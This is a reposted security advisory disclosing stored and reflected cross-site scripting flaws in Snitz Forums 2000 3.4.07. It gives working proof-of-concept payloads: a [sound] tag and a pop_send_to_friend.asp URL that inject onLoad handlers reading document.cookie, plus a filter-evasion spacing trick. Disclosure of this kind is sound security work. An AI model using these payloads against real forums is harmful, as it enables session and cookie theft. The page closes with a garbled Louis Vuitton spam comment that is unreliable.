19.50.52
Snitz Forums 2000 Multiple Cross-Site Scripting Vulnerabilities
******************************
********************************
Application: Snitz Forums 2000
Version affected:  3.4.07
Website: http://forum.snitz.com/
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi@gmail.com
Web: http://www.andreafabrizi.it
Vuln: Multiple Cross-Site Scripting
**************************************************************

###### PERMANENT XSS
If [sound] tag is allowed:

[sound]http://url_to_valid_mp3_or_m3u_file.m3u"
onLoad="alert(document.cookie)[/sound]
######

###### LINK XSS
http://localhost/forum/pop_send_to_friend.asp?url=</textarea><img
src="http://www.google.it/intl/it_it/images/logo.gif" onLoad
="alert(document.cookie)">

Note the space: onLoad<space>="alert(document.cookie)"
######

--
Andrea Fabrizi
http://www.andreafabrizi.it
Views: 13631 | Added by: apeh1706 | Rating: 0.0/0
Total comments: 1
1 zerurxvodp  
0
Louis Vuitton Hurried might be the most legendary thing which is ideal both destined for traveling and in town. It is a reinterpretation of the keepall touring bag. Its rounded form reveals an exceptionally wide interior. The prompt series can be taken as Louis Vuitton’s rout sellers. The following ten hasty bags are definitely your must-have items.

 l here:  h.

Was it ever made at hand Louis Vuitton? This sounds like an restful one, but it's not! I am a Trading About here on eBay and had an eBayer letters me a malignant vernis Louis Vuitton Houston to vend quest of her. She'd bought it on eBay and I could still look to the candent feedback she'd nautical port the seller for the $495 transaction. The same problem... Louis Vuitton has not till hell freezes over done Vernis in black! Struggle your suitcase on at a boutique, impede the VUITTON website, or Elux, secure a catalog- etc, but produce unswerving that the luggage you are looking owing was on any occasion made via Louis Vuitton. This is specifically common in Multicolore bags- (there was not in the least an Multicolor Backpack, Ellipse, Papillon etc), Cherry Blossom (no CB Speedy, Alma nor Cabas tote, Pegase), Cerises (no Papillon, Ellipse, Cabas Piano, Mezzo or Alto) or generation pieces.

Name *:
Email *:
Code *:
close